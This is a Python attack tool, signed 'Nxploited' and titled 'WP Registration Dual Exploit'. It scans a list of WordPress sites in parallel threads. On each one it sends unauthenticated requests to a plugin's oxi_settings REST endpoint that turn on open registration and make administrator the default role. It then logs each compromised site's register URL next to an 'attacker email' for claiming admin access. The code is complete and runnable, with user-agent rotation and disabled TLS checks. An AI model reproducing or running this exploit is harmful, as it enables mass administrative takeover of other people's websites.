#!/usr/bin/env python3
# By: Nxploited
# -*- coding: utf-8 -*-

import threading
import requests
import random
import os
import sys
import re
import urllib3
from queue import Queue
from rich.console import Console
from rich.panel import Panel
from rich.text import Text
from rich.progress import (
    Progress,
    SpinnerColumn,
    TextColumn,
    BarColumn,
    TimeElapsedColumn,
)
from rich.table import Table
from rich.box import MINIMAL
from rich.align import Align
from rich.style import Style

console = Console()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
os.environ["NO_PROXY"] = "*"

GITHUB = "https://github.com/Nxploited"
TELEGRAM = "https://t.me/KNxploited"

ADMIN_FILE = "Nx_New_admin.txt"
MAIL_FILE = "admin_mail.txt"

MAX_THREADS = 50
TYPE_SPEED = 0.01

BG_MAIN = "#020617"
C_TITLE = "#38bdf8"
C_ACCENT = "#8b5cf6"
C_OK = "#22c55e"
C_WARN = "#facc15"
C_FAIL = "#f97373"
C_DIM = "#6b7280"

BANNER = r"""
      __     ___       __   __     |              __        __    ___  ___  __  
\  / /  ` __  |   /\  |__) /__`    |    |\ | \_/ |__) |    /  \ |  |  |__  |  \ 
 \/  \__,     |  /~~\ |__) .__/    |    | \| / \ |    |___ \__/ |  |  |___ |__/ 
                                   |                                            
""".rstrip("\n")

REGISTER_FORM_RE = re.compile(
    r'<form[^>]+wp-login\.php\?action=register[^>]*>', re.I
)
EMAIL_FIELD_RE = re.compile(
    r'name=["\']user_email["\']', re.I
)
NONCE_RE = re.compile(
    r'name=["\']_wpnonce["\']\s+value=["\']([^"\']+)["\']', re.I
)


def slow_line(text: str, style: str = "white") -> None:
    for ch in text:
        console.print(ch, style=style, end="", soft_wrap=False)
    console.print()


def banner_panel() -> Panel:
    t = Text(BANNER, style=Style(color=C_TITLE, bold=True), justify="center")
    footer = Text(
        f"GitHub: {GITHUB}  •  Telegram: @KNxploited",
        style=Style(color=C_DIM, italic=True),
        justify="center",
    )
    body = Text()
    body.append(t)
    body.append("\n")
    body.append(footer)
    return Panel(
        Align.center(body),
        border_style=C_ACCENT,
        padding=(1, 2),
        style=f"on {BG_MAIN}",
        title=f"[{C_ACCENT}]WP Registration Dual Exploit",
    )


def rand_ua() -> str:
    agents = [
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
        "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
        "Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5_1) "
        "AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15",
    ]
    return random.choice(agents)


def ask_default(prompt: str, default: str, style: str) -> str:
    slow_line(f"{prompt} (default: {default})", style=style)
    try:
        v = console.input("> ").strip()
    except (KeyboardInterrupt, EOFError):
        console.print()
        return default
    return v if v else default


def ask_email(prompt: str, style: str) -> str:
    pat = re.compile(r"^[^@\s]+@[^@\s]+\.[^@\s]+$")
    while True:
        slow_line(f"{prompt} (ex: Nxploited@gmail.com)", style=style)
        try:
            e = console.input("> ").strip()
        except (KeyboardInterrupt, EOFError):
            console.print()
            sys.exit(0)
        if pat.match(e):
            return e
        slow_line("Invalid email format.", style=f"bold {C_FAIL}")


def load_targets(path: str) -> list[str]:
    out: list[str] = []
    try:
        with open(path, "r", encoding="utf-8") as f:
            for line in f:
                u = line.strip()
                if u:
                    out.append(u)
    except FileNotFoundError:
        console.print(f"[{C_FAIL}]Targets file not found: {path}")
        sys.exit(1)
    return out


def append(path: str, line: str) -> None:
    with open(path, "a", encoding="utf-8") as f:
        f.write(line.rstrip() + "\n")


def norm_base(site: str) -> str:
    s = site.strip()
    if not s:
        return s
    if not s.startswith(("http://", "https://")):
        s = "http://" + s
    return s.rstrip("/")


def register_url(site: str) -> str:
    return f"{norm_base(site)}/wp-login.php?action=register"


def is_success_response(text: str) -> bool:
    if not text:
        return False
    # must contain the explicit span or the class name anywhere
    return (
        '<span class=\\"oxi-confirmation-success\\"' in text
        or "oxi-confirmation-success" in text
    )


def send_oxi(site: str, name: str, value: str, timeout: int = 12) -> bool:
    base = norm_base(site)
    url = f"{base}/wp-json/oxilabtabsultimate/v1/oxi_settings/"
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": rand_ua(),
    }
    payload = f'rawdata={{"name":"{name}","value":"{value}"}}'
    try:
        r = requests.post(
            url,
            data=payload,
            headers=headers,
            timeout=timeout,
            verify=False,
        )
    except Exception:
        return False
    body = r.text or ""
    return is_success_response(body)


def dual_exploit(site: str) -> bool:
    ok_a = send_oxi(site, "users_can_register", "1")
    ok_b = send_oxi(site, "default_role", "administrator")
    return ok_a and ok_b


def has_register_flow(site: str, timeout: int = 12) -> bool:
    url = register_url(site)
    headers = {"User-Agent": rand_ua()}
    try:
        r = requests.get(url, headers=headers, timeout=timeout, verify=False)
    except Exception:
        return False
    if r.status_code != 200:
        return False
    html = r.text or ""
    if not REGISTER_FORM_RE.search(html):
        return False
    if not EMAIL_FIELD_RE.search(html):
        return False
    if not NONCE_RE.search(html):
        return False
    return True


def card_admin(site: str) -> None:
    url = register_url(site)
    t = Table(box=MINIMAL, expand=True, show_header=False)
    left = Text("● ADMIN READY", style=f"bold {C_OK}")
    details = (
        f"[{C_OK}]{site}[/]\n"
        f"[white]Registration enabled and default role set to administrator.[/]\n"
        f"[white]Register URL: [cyan]{url}[/]"
    )
    t.add_row(left, details)
    p = Panel(
        Align.center(t),
        border_style=C_OK,
        padding=(1, 2),
        style=f"on {BG_MAIN}",
        title=f"[{C_OK}]Admin flow enabled",
    )
    console.print(p)


def card_mail(site: str, email: str) -> None:
    url = register_url(site)
    t = Table(box=MINIMAL, expand=True, show_header=False)
    left = Text("✉ MAIL VERIFY", style=f"bold {C_WARN}")
    details = (
        f"[{C_OK}]{site}[/]\n"
        f"[white]Use WP registration with email:[/] [cyan]{email}[/]\n"
        f"[white]Confirm the email link if required.[/]\n"
        f"[white]Register URL: [cyan]{url}[/]"
    )
    t.add_row(left, details)
    p = Panel(
        Align.center(t),
        border_style=C_WARN,
        padding=(1, 2),
        style=f"on {BG_MAIN}",
        title=f"[{C_WARN}]Email confirmation",
    )
    console.print(p)


def worker(
    idx: int,
    targets: list[str],
    email: str,
    q: Queue,
    task: int,
    prog: Progress,
) -> None:
    for raw in targets:
        site = raw.strip()
        if not site:
            continue

        ok = dual_exploit(site)
        if ok:
            url = register_url(site)
            append(ADMIN_FILE, url)

            if has_register_flow(site):
                append(MAIL_FILE, f"{url} | email={email}")
                q.put(("mail", site, email))

            q.put(("admin", site))
        else:
            q.put(("fail", site))

        if prog and task is not None:
            try:
                prog.advance(task)
            except Exception:
                pass

    q.put(("info", f"[{C_DIM}]Thread {idx} finished[/]"))


def printer(q: Queue) -> None:
    while True:
        item = q.get()
        if item is None:
            break
        kind = item[0]
        if kind == "admin":
            _, site = item
            card_admin(site)
        elif kind == "mail":
            _, site, email = item
            card_mail(site, email)
        elif kind == "fail":
            _, site = item
            console.print(
                f"[{C_FAIL}]{site}[/] -> [bold {C_FAIL}]exploit failed[/]"
            )
        elif kind == "info":
            console.print(item[1])


def split_chunks(lst: list[str], n: int) -> list[list[str]]:
    if n <= 0:
        n = 1
    return [lst[i::n] for i in range(n)]


def main() -> None:
    console.clear()
    console.print(banner_panel())
    slow_line("Press ENTER to continue...", style=f"bold {C_ACCENT}")
    try:
        console.input()
    except (KeyboardInterrupt, EOFError):
        console.print()
        sys.exit(0)

    targets_file = ask_default("Targets file", "list.txt", style="bold yellow")
    email = ask_email("Attacker email (WP registration)", style="bold green")

    try:
        th_in = int(ask_default("Threads", "30", style="bold magenta"))
    except Exception:
        th_in = 30

    targets = load_targets(targets_file)
    if not targets:
        console.print(f"[{C_FAIL}]No targets in file.[/]")
        sys.exit(1)

    threads = max(1, min(MAX_THREADS, th_in, len(targets)))

    console.print(
        Panel(
            f"[white]Targets: [bold]{len(targets)}[/]\n"
            f"Threads: [bold]{threads}[/]\n"
            f"Admin file: [bold]{ADMIN_FILE}[/]\n"
            f"Mail file: [bold]{MAIL_FILE}[/]",
            border_style=C_ACCENT,
            style=f"on {BG_MAIN}",
        )
    )

    q: Queue = Queue()

    with Progress(
        SpinnerColumn(),
        TextColumn("[progress.description]{task.description}"),
        BarColumn(),
        TextColumn("[cyan]{task.completed}/{task.total}"),
        TimeElapsedColumn(),
        transient=True,
        console=console,
    ) as prog:
        task_id = prog.add_task(
            "[green]Processing targets...", total=len(targets)
        )

        parts = split_chunks(targets, threads)

        p = threading.Thread(target=printer, args=(q,), daemon=True)
        p.start()

        workers: list[threading.Thread] = []
        for i in range(threads):
            t = threading.Thread(
                target=worker,
                args=(i, parts[i], email, q, task_id, prog),
                daemon=True,
            )
            t.start()
            workers.append(t)

        for t in workers:
            t.join()

        q.put(None)
        p.join()

    summary = Table(
        title="Summary",
        box=MINIMAL,
        show_header=False,
        expand=False,
    )
    summary.add_row("Admin URLs file", f"[cyan]{ADMIN_FILE}[/]")
    summary.add_row("Mail-step file", f"[cyan]{MAIL_FILE}[/]")

    console.print(
        Panel(
            Align.center(summary),
            border_style=C_OK,
            padding=(1, 2),
            title=f"[{C_OK}]Done[/]",
            style=f"on {BG_MAIN}",
        )
    )


if __name__ == "__main__":
    main()